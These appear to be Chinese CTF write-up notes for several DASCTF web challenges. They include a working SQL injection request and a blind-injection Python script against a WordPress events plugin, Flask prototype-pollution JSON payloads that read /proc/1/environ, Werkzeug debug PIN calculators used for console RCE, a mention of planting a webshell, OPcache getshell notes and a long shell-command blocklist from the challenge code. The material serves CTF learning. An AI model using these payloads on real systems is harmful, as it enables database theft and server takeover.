[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]EzPenetration
Tip:数据库里的邮箱key已更改为管理员密码,拿到后可直接登录
- 打开靶机,用Wappalyzer分析网站,可以看到管理系统是Wordpress,因此可以尝试用WPSSCAN扫描公开的漏洞>>
- 找到SQL漏洞,到Wpscan官网查看漏洞详情>>
漏洞分析:
- “Registrations for the Events Calendar” 是一个常用的 WordPress 插件,用于管理事件的注册和日历功能;
- SQL 注入漏洞出现在插件未对用户输入进行充分的验证或过滤,直接将用户提供的数据嵌入 SQL 查询;
- 参数如
event_id
被直接传递到 SQL 查询中,未经过严格的输入验证; - 攻击者可以通过构造恶意的 SQL 语句(如
UNION SELECT
等)来操控查询逻辑,从而访问数据库中的敏感数据;
The below request will send an email to recipient@example.com with all user emails in the "Unregister from this event" URL
POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Connection: close
Upgrade-Insecure-Requests: 1
#这一段是post的请求体,sql注入
event_id=3%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,group_concat(user_email)%20from%20wp_users%20--%20x&email=recipient@example.com
攻击者尝试通过 SQL 注入从目标网站的数据库中窃取敏感信息,获取用户电子邮件地址;
插件伪代码复现
// 获取请求参数
$event_id = $_POST['event_id'];
$email = $_POST['email'];
// 执行 SQL 查询
$query = "SELECT * FROM events WHERE event_id = $event_id";
$result = $wpdb->get_results($query);
// 生成取消注册链接
$unregister_link = generate_unregister_link($result);
// 发送邮件
mail($email, "Unregister Link", $unregister_link);
虽然-- x注释掉了查询语句后面的内容,但是&后面的东西会被$email = $_POST[‘email’];获取;
- 尝试注入>>
可以看到有回显,但是没有具体内容,因此可以用bool盲注!
说明:如果不放后面的邮件会报错,因此放邮件是已经纰漏的漏洞的必要语句格式;(当然也可以利用这个"error"回显来作为判断点)
- 直接上Python脚本
import requests
url = 'http://node5.buuoj.cn:28123/wp-admin/admin-ajax.php?action=rtec_send_unregister_link'
flag = ""
for i in range(1, 100):
begin, end = 32, 126 # ASCII 字符范围
while begin < end: #二分法遍历
mid = (begin + end) // 2
payload = f"if((select ascii(substr((select group_concat(option_name,0x7e,option_value) from wp_options where option_id=16),{i},1)))>{mid},1,0)"
data = {
"event_id": f"3 union select 0,1,2,3,4,5,6,7,8,(select database() where 1=({payload}))--",
"email": "recipient@example.com"
}
response = requests.post(url, data=data)
if 'success' in response.text: #挂到回显上判断
begin = mid + 1
else:
end = mid
flag += chr(begin) # 此时 begin == end,表示找到对应字符
print(flag)
背景补充:
- 在 WordPress 的默认数据库架构中,
wp_options
是必备表,通常不会被更改,里面存贮了表中存储了大量敏感配置,如管理员邮箱、插件设置等;
拿到密码;
登录管理后台,猜测用户名是yanshu;
猜测flag会放到根目录,只需要rce(这里利用文件管理插件,放一个一句话木马)即可越权到服务器根目录;
注意:直接在服务器中新建一个木马文件,而不是在本地做好在上传,可能会被拦;
补充说明:为什么定位到option_id=16?因为这是尝试出来的,这里忽略了尝试步骤,下面放出其它option_id=x 参考>>
网上找的图,仅供参考>>
[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]Single_php(未写完)
<?php
class siroha{
public $koi;
}
$a = new siroha();
$a->koi = ["zhanjiangdiyishenqing"=>"phpinfo"];
$b = urlencode(serialize($a));
echo $b;
//O%3A6%3A%22siroha%22%3A1%3A%7Bs%3A3%3A%22koi%22%3Ba%3A1%3A%7Bs%3A21%3A%22zhanjiangdiyishenqing%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D
这里不知道为什么调不出来phpinfo,php版本是8.2.10
version: '3'
services:
php:
container_name: php-fpm-81
image: php:8.2.10-fpm-alpine
restart: always
networks:
nginx_network:
ipv4_address: 172.18.0.3(容器内部的虚拟子网)
ports:
- "9000:9000"
volumes: [] # 空列表,表示没有挂载任何目录
nginx:
container_name: nginx-common
image: nginx:latest
restart: always
environment:
TZ: Asia/Shanghai
ports:
- "8008:80"
depends_on:
- php
volumes:
- "H:/home/code/docker/web:/var/www/html"(空的也得写)
- "H:/home/code/docker/nginx/nginx_conf.d:/etc/nginx/conf.d"
#- "H:/home/docker/nginx/log:/var/log/nginx" # 可选
networks:
nginx_network:
ipv4_address: 172.18.0.4(容器内部的虚拟子网)
networks:
nginx_network:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
PHP的Opcache机制
OPcache 是 PHP 内置的一个 字节码缓存 扩展,用于提高 PHP 应用的性能。它的主要作用是将 PHP 脚本预先编译成字节码,然后存储到内存中,避免了每次执行脚本时重复编译和解析的开销;
PHP脚本的执行原理:
- 解析:PHP解释器将.php文件解析为一系列指令;
- 编译:将这些指令转换为字节码(一种中间语言);
- 执行:解释器执行字节码并生成结果;
问题:每次请求都需要重复解析和编译,增加了CPU和时间开销;
具体解释
在我们指定了一个缓存目录(后面提到)后,php会把编译好的php字节码文件放到这个缓存目录中。这里假设该缓存目录是/var/www/html/opcache
,未访问前,opcache
文件夹为空。接下去我去访问 index.php
后,php会在 opcache
文件夹中创建一个名为md5哈希值的文件夹,其下的目录结构和 index.php
所在目录结构相同,同时生成了 index.php.bin
;
这个index.php.bin
就是 index.php
的缓存文件。并且作为www-data
用户,我们对 5672f68788bcb25b11403b33f5d1497f
具有读写执行权限。这样,我们想办法把这个index.php.bin
替换为包含有恶意代码的index.php.bin
文件,当我们再次去访问index.php
时,php会选择加载这个缓存文件,从而我们达到了getshell的目的。
system_id
是缓存文件的标识
- 安装opcache要在dockerfile里面写
- 没有给opcache文件chmod赋权
$_FILES["file"]["tmp_name"] 特别指的是上传文件在服务器上的临时存储位置。具体来说:
$_FILES 是包含所有上传文件信息的数组。
"file" 是你在HTML <input type="file" name="file"> 标签中设置的name属性值。这表示你为要上传的文件指定的名字。
["tmp_name"] 是指该文件被上传后,在服务器上暂时存放的位置。这是一个临时文件名,通常位于系统的临时目录下。
__FILE__ 的值是一个字符串,包含了从根目录开始的绝对路径
在 Python 中,`tarfile.TarInfo` 是 `tarfile` 模块中的一个类,用于描述 `.tar` 压缩包中的每个文件或目录的元数据信息。它允许你手动定义 `.tar` 文件中条目的属性,比如文件名、类型、大小、权限等,
opcache rce漏洞原理详解
https://www.cnblogs.com/F12-blog/p/18001985
在这个场景中,利用 SoapClient
不是单纯为了修改 HTTP 请求头,而是借助 PHP 的 反序列化漏洞 和 SoapClient
的行为特性完成攻击。
SoapClient
的 __call
魔术方法会在调用不存在的方法时被触发,允许攻击者进一步利用。这种特性是手动抓包无法实现的。
结合反序列化漏洞链:
通过将 SoapClient
包含在序列化对象中,攻击者可以在目标反序列化时,动态生成 HTTP 请求并执行恶意逻辑。
请求签名验证:
目标服务器可能对请求头或请求体内容进行签名验证,直接修改可能破坏签名,导致请求无效。而通过 SoapClient
发送的请求能够模拟符合规范的签名。
调用不存在的 SOAP 方法时,SoapClient::__call
会将所有参数封装为 HTTP 请求并发送到 location
指定的 URL。
- 如果服务器只读取第一个
Cookie
字段,伪造的 Cookie 可能被忽略。 - 如果服务器允许多个 Cookie 字段同时存在,则伪造的值可能覆盖真实的值。
soapclient发送的请求头是设置好的,但是如果调用了不存在的方法,那就会调用__call魔术方法,__call魔术方法会将自定义的user-agent参数部分插到http请求中
[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]EzFlask
涉及内容>> Json格式、Python原型链污染、Unicode编码、Flask框架console调试pin码的计算
Python补充
- python的方法本质上也是一个对象;
- 每一个对象都有__class__属性,即它的类;
__class__
中包含了该类的属性和方法;- 方法对象(如函数或者类方法)具有属性
__globals__
,是该对象的全局命名空间,以字典的方式存储了当前模块中的全局变量; __file__
是当前模块的文件路径;__init__
是类的构造方法;
- 打开题目,发现给出了源码,用
Ctrl + u
按缩进显示>>
![[Pasted image 20241129200519.png]]
```python
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
- 先看index()函数,可以看到读取了__file__的内容,因此只要让__file__等于flag的路径就可以了;
- 看到merge函数,递归合并对象或字典,可以想到是原型链污染,只有不安全的递归合并才会引发原型链污染;
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
- registers用POST请求提交,格式是Json,补充说明:
#json.loads 可以自动识别unicode编码,因此可以绕过黑名单
from secret import black_list
def check(data):
for i in black_list:
if i in data:
return False
return True
- 思路已经清楚,根据merge原型链污染掉__file__,直接读取flag;
- 现在只要确定flag的目录地址,提交一个POST请求,提交Json格式注册,污染__file__,然后再次访问index即可拿到flag;
解法一:
常见的linux系统下环境变量路径
/proc/1/environ (本题flag就在这里,本题题意是用解法二,但是在环境变量里发现了flag)
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.bashrc
/etc/bashrc
放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;
payload1:
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}
- Burpsuite抓包提交POST请求>>
这里先看看/proc 可以看到注册成功,现在访问Index
可以看到爆出了python的版本号和用的flask框架,这里的信息在解法二用到;
- 直接上/proc/1/environ>>
再次访问主页>>
拿到flag~
payload2
{
"username":1,
"password":1,
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
这里__init__
不编码一下注册污染不了,应该是黑名单拦截了__init__
payload2没有用FILE这个回显点,而是直接设置_static_folder,实现沙箱逃逸(具体解释见下)
- app 全局变量:
app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。 _static_folder
全局变量:
_static_folder
是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript;
静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件;
在 Flask 中,可以通过 app.static_folder 属性来访问_static_folder
,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
/static/proc/1/environ:本来用户只能访问静态目录static/下的文件,由于"_static_folder":"/"把静态目录直接设置为了根目录,所以根目录下/proc/1/environ可以通过访问静态目录/static/proc/1/environ访问,也就是说还能通过static/ 访问根目录的其它文件,实现沙箱逃逸;
解法二
通过/console和解法一的基础上RCE!
现在的目标是算出PIN码
PIN码六要素
1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd
2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量(这里在上面的报错中已经暴露了)
5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
6.machine_id
machine-id是通过**三个文件**里面的内容经过处理后拼接起来
1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**) # 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope # 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面 文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。 文件3如果存在的话就截取,不存在的话就不用管 最后machine-id=(文件1或文件2)+文件3(存在的话)
!!总结来说就是1和2选一个,优先选1读取到的,此外如果还有3,就拼接上3,否则不用管!!
python3.6采用MD5加密,3.8采用sha1加密。脚本们如下:
下面代码是Flask框架生成PIN值的公开代码,了解即可
#MD5
import hashlib
from itertools import chain
probably_public_bits = [#公开信息
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [#私密信息
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
#使用了 `itertools.chain()` 函数来将两个列表(`probably_public_bits` 和 `private_bits`)连接起来,并逐个迭代这些连接后的元素。
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8') #因为Hash对象只能处理字节数据,不能处理字符串,如果是字符串,那么utf-8编码
h.update(bit)#更新Hash对象
h.update(b'cookiesalt') #加入哈希盐
cookie_name = '__wzd' + h.hexdigest()[:20] #哈希字符串的十六进制编码取前20,拼接__wzd
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
#将哈希转换成十六进制,强转成int类型,即十进制,并且告诉int()要强制的类型是十六进制(固定写法),%09d是格式化至少9位数字,如果不够则前面补0(有则不用管),最后切片取前9位
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
#rjust是将字符串右对齐
print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 解法一时暴露的信息
]
private_bits = [
'42078528429271',# /sys/class/net/eth0/address 16进制转10进制
'96cec10d3d9307792745ec3b85c89620'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
知道PIN生成的源码后,现在只需要收集信息,放到代码中跑出PIN值;
前面的默认信息获取跳过,这里直接读uuid>>
- 读machine_id
用sha1代码算出PIN>>
进入控制台RCE获取flag>>
补充:
os.popen
是 Python 标准库中 os
模块提供的一个函数,用于打开一个管道,执行指定的系统命令,并允许 Python 程序与该命令的输入或输出进行交互;
[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]realrce
涉及内容: Javascript原型链污染、代码审计WAF绕过、js的decodeURIComponent方法有解码范围
本题思路:
- 看到merge函数,通过原型链污染cmd_rce执行bash指令拿到flag;
- WAF的绕过;
打开靶机
查看附件
补充:app.js是JavaScript 应用程序的主入口点;
下面直接附上源码>>
var express = require('express');
var proc = require('child_process');
const util = require('util');
var app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.use('/images', express.static('/app/static'));
function waf(input_code) {
bypasspin = /%[0-9a-fA-F]{2}/i;
const bypasscode = bypasspin.test(input_code);
if (bypasscode) {
try {
return waf(decodeURIComponent(input_code));
} catch (error) {
console.error("Error decoding input: ", error);
return false;
}
}
const blacklist = [/__proto__/i, /constructor/i, /prototype/i];
for (const blackword of blacklist) {
if (blackword.test(input_code)) {
return true;
}
}
return false;
}
function LockCylinder(input, blackchr = ["&&", "||", "&", "|", ">", "*", "+", "$", ";"]) {
const resultArray = [];
let currentPart = "";
for (let i = 0; i < input.length; i++) {
const currentChar = input[i];
if (blackchr.includes(currentChar)) {
if (currentPart.length > 0) {
resultArray.push(currentPart);
currentPart = "";
}
} else {
currentPart += currentChar;
}
}
if (currentPart.length > 0) {
resultArray.push(currentPart);
}
return resultArray;
}
function check_cmd(cmd) {
const command = ["{", ";", "<>", "`", "'", "$", "if", "then", "else", "elif", "fi", "case", "esac", "for", "select", "while", "until", "do", "done", "in", "function", "time", "coproc", "alias", "bg", "bind", "break", "builtin", "caller", "cd", "command", "compgen", "complete", "compopt", "continue", "declare", "dirs", "disown", "echo", "enable", "eval", "exec", "exit", "export", "false", "fc", "fg", "getopts", "hash", "help", "history", "jobs", "kill", "let", "local", "logout", "mapfile", "popd", "printf", "pushd", "pwd", "read", "readarray", "readonly", "return", "set", "shift", "shopt", "source", "suspend", "test", "times", "trap", "true", "type", "typeset", "ulimit", "umask", "unalias", "unset", "wait", "vipw", "mkdumprd", "ifenslave", "fsck", "chpasswd", "useradd", "rtstat", "lnstat", "hwclock", "dhclient", "pwunconv", "groupmems", "mksquashfs", "chkconfig", "ethtool", "packer", "mkdict", "agetty", "applygnupgdefaults", "zramctl", "swaplabel", "blkzone", "pwconv", "cfdisk", "ldattach", "reboot", "tipc", "fstrim", "clockdiff", "groupadd", "dmfilemapd", "runuser", "modinfo", "swapoff", "telinit", "sfdisk", "ctstat", "clock", "rtpr", "fsfreeze", "ldconfig", "fdformat", "getcap", "kexec", "rdma", "tracepath", "rtmon", "rtacct", "fdisk", "udevadm", "usermod", "findfs", "halt", "resizepart", "routef", "genl", "mkswap", "poweroff", "rdisc", "grpunconv", "partx", "rtcwake", "nologin", "rfkill", "lspci", "vigr", "grpconv", "ip", "blkdeactivate", "addgnupghome", "chroot", "shutdown", "unsquashfs", "readprofile", "adduser", "groupmod", "ss", "dmstats", "ifcfg", "modprobe", "depmod", "iconvconfig", "sulogin", "rmmod", "grpck", "nstat", "ifstat", "sysctl", "insmod", "routel", "zdump", "blkdiscard", "getpcaps", "losetup", "setpci", "dmsetup", "wipefs", "addpart", "zic", "userdel", "makedumpfile", "blkid", "groupdel", "setcap", "chgpasswd", "resolvconf", "newusers", "init", "arping", "pwck", "devlink", "lsmod", "ping", "mkfs", "faillock", "runlevel", "blockdev", "swapon", "alternatives", "arpd", "delpart", "pidof", "chcpu", "capsh", "ctrlaltdel", "bridge", "less", "gpgsplit", "pgrep", "truncate", "localedef", "printf", "gencat", "sed", "ptx", "nm", "pwmake", "zmore", "tzselect", "script", "dnsdomainname", "ar", "more", "journalctl", "gunzip", "makedb", "tac", "col", "sync", "vi", "locale", "prlimit", "nisdomainname", "timedatectl", "ipcmk", "isosize", "free", "alias", "taskset", "factor", "pinky", "arch", "lscpu", "awk", "tty", "xmllint", "xzcmp", "readelf", "kdumpctl", "tsort", "nice", "cal", "rpmdb", "newgrp", "xmlwf", "slabtop", "utmpdump", "tar", "basename", "eject", "ranlib", "wall", "zless", "sort", "nsenter", "getent", "chrt", "mount", "bash", "systemctl", "vmstat", "xmlcatalog", "date", "lsinitrd", "tload", "chmod", "setsid", "getopts", "colcrt", "su", "lsipc", "login", "lsns", "unalias", "lastb", "df", "gpg", "type", "gpgv", "pathchk", "groups", "lsmem", "users", "as", "ipcs", "jobs", "command", "iconv", "dwp", "domainname", "xzcat", "ldd", "whoami", "strip", "dircolors", "nl", "trust", "stty", "ul", "chacl", "loginctl", "gzip", "xzmore", "zcat", "busctl", "fincore", "fgrep", "dmesg", "rm", "mv", "cat", "lslogins", "numfmt", "flock", "realpath", "find", "tracepath", "lesskey", "printenv", "du", "grep", "udevadm", "tee", "rename", "gawk", "mkdir", "sg", "xzegrep", "xzdec", "split", "whereis", "strings", "setfacl", "mkfifo", "chage", "xzgrep", "kill", "rvi", "size", "ypdomainname", "tr", "umount", "rev", "wdctl", "uniq", "ps", "stdbuf", "chgrp", "setarch", "cd", "dirmngr", "write", "lastlog", "gsettings", "ex", "ipcrm", "cp", "fallocate", "colrm", "rpm", "pwdx", "xargs", "objdump", "ld", "chcon", "skill", "yum", "who", "gapplication", "stat", "sleep", "wait", "fg", "uuidgen", "logger", "pwscore", "xz", "mesg", "rmdir", "zgrep", "chmem", "newuidmap", "evmctl", "wc", "top", "egrep", "fold", "zfgrep", "link", "csplit", "sum", "expand", "getfacl", "newgidmap", "join", "install", "bootctl", "xzless", "runcon", "dirname", "comm", "false", "hostname", "unlink", "sh", "ipcalc", "unexpand", "nohup", "zegrep", "head", "getopt", "raw", "hexdump", "mountpoint", "lslocks", "coreutils", "shred", "sotruss", "true", "pldd", "uuidparse", "localectl", "gtar", "test", "znew", "logname", "gzexe", "rpmquery", "touch", "hash", "cpio", "sprof", "hostnamectl", "uname", "unxz", "zdiff", "gdbus", "namei", "ls", "kmod", "info", "umask", "zcmp", "w", "mktemp", "pwd", "column", "scriptreplay", "lessecho", "look", "setterm", "gdbmtool", "rpmkeys", "bg", "id", "gpasswd", "dracut", "vdir", "mcookie", "elfedit", "chown", "objcopy", "hostid", "shuf", "view", "mknod", "gpgparsemail", "fc", "tail", "zforce", "last", "dir", "ionice", "read", "resolvectl", "watchgnupg", "unshare", "timeout", "getconf", "findmnt", "pr", "xzfgrep", "ping", "rview", "fmt", "echo", "readlink", "dd", "paste", "od", "setpriv", "coredumpctl", "dnf", "xzdiff", "renicerpmverify", "pkill", "mkinitrd", "pmap", "snice", "gio", "gpgconf", "expr", "ulimit", "nproc", "pidof", "watch", "cksum", "yes", "rpmverify", "lsblk", "catchsegv", "uptime", "seq", "ln", "cut", "bashbug", "curl", "gprof", "node", "npm", "corepack", "npx", "vipw", "mkdumprd", "ifenslave", "fsck", "chpasswd", "useradd", "rtstat", "lnstat", "hwclock", "dhclient", "pwunconv", "groupmems", "mksquashfs", "chkconfig", "ethtool", "packer", "mkdict", "agetty", "applygnupgdefaults", "zramctl", "swaplabel", "blkzone", "pwconv", "cfdisk", "ldattach", "reboot", "tipc", "fstrim", "clockdiff", "groupadd", "dmfilemapd", "runuser", "modinfo", "swapoff", "telinit", "sfdisk", "ctstat", "clock", "rtpr", "fsfreeze", "ldconfig", "fdformat", "getcap", "kexec", "rdma", "tracepath", "rtmon", "rtacct", "fdisk", "udevadm", "usermod", "findfs", "halt", "resizepart", "routef", "genl", "mkswap", "poweroff", "rdisc", "grpunconv", "partx", "rtcwake", "nologin", "rfkill", "lspci", "vigr", "grpconv", "ip", "blkdeactivate", "addgnupghome", "chroot", "shutdown", "unsquashfs", "readprofile", "adduser", "groupmod", "ss", "dmstats", "ifcfg", "modprobe", "depmod", "iconvconfig", "sulogin", "rmmod", "grpck", "nstat", "ifstat", "sysctl", "insmod", "routel", "zdump", "blkdiscard", "getpcaps", "losetup", "setpci", "dmsetup", "wipefs", "addpart", "zic", "userdel", "makedumpfile", "blkid", "groupdel", "setcap", "chgpasswd", "resolvconf", "newusers", "init", "arping", "pwck", "devlink", "lsmod", "ping", "mkfs", "faillock", "runlevel", "blockdev", "swapon", "alternatives", "arpd", "delpart", "pidof", "chcpu", "capsh", "ctrlaltdel", "bridge", "less", "gpgsplit", "pgrep", "truncate", "localedef", "printf", "gencat", "sed", "ptx", "nm", "pwmake", "zmore", "tzselect", "script", "dnsdomainname", "ar", "more", "journalctl", "gunzip", "makedb", "tac", "col", "sync", "vi", "locale", "prlimit", "nisdomainname", "timedatectl", "ipcmk", "isosize", "free", "alias", "taskset", "factor", "pinky", "arch", "lscpu", "awk", "tty", "xmllint", "xzcmp", "readelf", "kdumpctl", "tsort", "nice", "cal", "rpmdb", "newgrp", "xmlwf", "slabtop", "utmpdump", "tar", "basename", "eject", "ranlib", "wall", "zless", "sort", "nsenter", "getent", "chrt", "mount", "bash", "systemctl", "vmstat", "xmlcatalog", "date", "lsinitrd", "tload", "chmod", "setsid", "getopts", "colcrt", "su", "lsipc", "login", "lsns", "unalias", "lastb", "df", "gpg", "type", "gpgv", "pathchk", "groups", "lsmem", "users", "as", "ipcs", "jobs", "command", "iconv", "dwp", "domainname", "xzcat", "ldd", "whoami", "strip", "dircolors", "nl", "trust", "stty", "ul", "chacl", "loginctl", "gzip", "xzmore", "zcat", "busctl", "fincore", "fgrep", "dmesg", "rm", "mv", "cat", "lslogins", "numfmt", "flock", "realpath", "find", "tracepath", "lesskey", "printenv", "du", "grep", "udevadm", "tee", "rename", "gawk", "mkdir", "sg", "xzegrep", "xzdec", "split", "whereis", "strings", "setfacl", "mkfifo", "chage", "xzgrep", "kill", "rvi", "size", "ypdomainname", "tr", "umount", "rev", "wdctl", "uniq", "ps", "stdbuf", "chgrp", "setarch", "cd", "dirmngr", "write", "lastlog", "gsettings", "ex", "ipcrm", "cp", "fallocate", "colrm", "rpm", "pwdx", "xargs", "objdump", "ld", "chcon", "skill", "yum", "who", "gapplication", "stat", "sleep", "wait", "fg", "uuidgen", "logger", "pwscore", "xz", "mesg", "rmdir", "zgrep", "chmem", "newuidmap", "evmctl", "wc", "top", "egrep", "fold", "zfgrep", "link", "csplit", "sum", "expand", "getfacl", "newgidmap", "join", "install", "bootctl", "xzless", "runcon", "dirname", "comm", "false", "hostname", "unlink", "sh", "ipcalc", "unexpand", "nohup", "zegrep", "head", "getopt", "raw", "hexdump", "mountpoint", "lslocks", "coreutils", "shred", "sotruss", "true", "pldd", "uuidparse", "localectl", "gtar", "test", "znew", "logname", "gzexe", "rpmquery", "touch", "hash", "cpio", "sprof", "hostnamectl", "env", "uname", "unxz", "zdiff", "gdbus", "namei", "ls", "kmod", "info", "umask", "zcmp", "w", "mktemp", "pwd", "column", "scriptreplay", "lessecho", "look", "setterm", "gdbmtool", "rpmkeys", "bg", "id", "gpasswd", "dracut", "vdir", "mcookie", "elfedit", "chown", "objcopy", "hostid", "shuf", "view", "mknod", "gpgparsemail", "fc", "tail", "zforce", "last", "dir", "ionice", "read", "resolvectl", "watchgnupg", "unshare", "timeout", "getconf", "findmnt", "pr", "xzfgrep", "ping", "rview", "fmt", "echo", "readlink", "dd", "paste", "od", "setpriv", "coredumpctl", "dnf", "xzdiff", "renice", "pkill", "mkinitrd", "pmap", "snice", "gio", "gpgconf", "expr", "ulimit", "nproc", "pidof", "watch", "cksum", "yes", "rpmverify", "lsblk", "catchsegv", "uptime", "seq", "ln", "cut", "bashbug", "curl", "gprof", "node", "npm", "corepack", "npx"];
const eval_chr = ["<", ">"];
for (let i = 0; i < command.length; i++) {
if (cmd.includes(command[i] + '&') || cmd.includes('&' + command[i]) || cmd.includes(command[i] + '|') || cmd.includes('|' + command[i]) || cmd.includes(';' + command[i]) || cmd.includes('(' + command[i]) || cmd.includes('/' + command[i])) {
return false;
}
}
for (let j = 0; j < eval_chr.length; j++) {
if (cmd.includes(eval_chr[j])) {
return false;
}
}
return true;
}
function Door_lock(cmd) {
pin = /^[a-z ]+$/;
key = LockCylinder(cmd);
if (pin.test(key[0]) && check_cmd(cmd.replace(/\s*/g, ""))) {
return true;
} else {
return false;
}
}
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (key in target && typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}
function convertToString(variable) {
if (typeof variable === 'string') {
return variable;
} else {
try {
return JSON.stringify(variable);
} catch (error) {
console.error('Error converting variable to string:', error.message);
return null;
}
}
}
app.post('/', function (req, res) {
let msg = req.body.msg;
let msgString = convertToString(msg);
if (!waf(msgString)) {
try {
const msg_rce = {};
merge(msg_rce, msg);
if (cmd_rce && Door_lock(cmd_rce)) {
try {
const result = proc.execSync(cmd_rce.replace(/\r?\n/g,"").replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514").replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514").replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514"));
res.render('index', { result });
} catch (error) {
res.render('index', { error: error.message });
}
} else {
res.render('index', { result: "this is a lock" });
}
} catch (error) {
res.render('index', { result: "无事发生" });
}
} else {
res.render('index', { result: "this is a waf" });
}
})
app.listen(3000, () => {
console.log('Server listening on port 3000');
})
开始:
- 先看入口函数和merge函数和waf函数>>
本题关键是通过merge函数和__proto__污染cmd_rce,但是传入的msg就遇到了第一个难点waf;
